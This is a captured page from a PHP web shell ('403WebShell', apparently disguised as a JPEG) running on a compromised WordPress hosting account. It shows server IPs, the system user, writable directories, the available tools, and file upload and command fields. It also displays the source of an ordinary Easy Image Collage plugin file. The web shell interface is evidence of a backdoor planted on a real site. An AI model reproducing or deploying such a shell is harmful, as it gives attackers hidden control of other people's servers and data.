????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/easy-image-collage/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/easy-image-collage/helpers//shortcode_button.php
<?php

class EIC_Shortcode_Button {

    public function __construct()
    {
        add_action( 'media_buttons',  array( $this, 'add_shortcode_button' ) );
        add_action( 'admin_footer',  array( $this, 'add_modal_content' ) );
    }

    public function add_shortcode_button( $editor_id )
    {
        $screen = get_current_screen();

        if( $screen->base == 'post' ) {
            $title = __( 'Add Image Collage', 'easy-image-collage' );

            echo '<a href="#" id="eic-button" class="button" data-editor="content" title="' . $title . '">' . $title . '</a>';
        }
    }

    public function add_modal_content()
    {
        $screen = get_current_screen();

        if( $screen->base == 'post' ) {
            $post = get_post();
            $grid_ids = $this->get_grids_in_content( $post->post_content );

            $grids = array();
            $grid_custom_layouts = array();

            foreach( $grid_ids as $grid_id ) {
                $grid = new EIC_Grid( $grid_id );
                $grids[$grid_id] = $grid->get_data();

                if( $grid->layout() ) {
                    $grid_custom_layouts[ $grid->layout_name() ] = $grid->layout();
                }
            }

            include( EasyImageCollage::get()->coreDir . '/helpers/modal.php' );

            wp_localize_script( 'eic_admin', 'eic_admin_grids', $grids );
            wp_localize_script( 'eic_admin', 'eic_default_grid', array(
                'id' => 0,
                'layout' => 'square',
                'images' => array(),
                'properties' => array(
                    'align' => EasyImageCollage::option( 'default_style_grid_align', 'center' ),
                    'width' => intval( EasyImageCollage::option( 'default_style_grid_width', 500 ) ),
                    'ratio' => floatval( EasyImageCollage::option( 'default_style_grid_ratio', 1 ) ),
                    'borderWidth' => intval( EasyImageCollage::option( 'default_style_border_width', 4 ) ),
                    'borderColor' => EasyImageCollage::option( 'default_style_border_color', '#444444' ),
                ),
            ) );
        }
    }

    public function get_grids_in_content( $content )
    {
        preg_match_all("/\[easy-image-collage([^\]]*)/i", $content, $shortcodes);

        $grid_ids = array();
        foreach( $shortcodes[1] as $shortcode_options )
        {
            preg_match("/id=\"?'?(\d+)/i", $shortcode_options, $id);

            $grid_ids[] = intval( $id[1] );
        }

        return $grid_ids;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit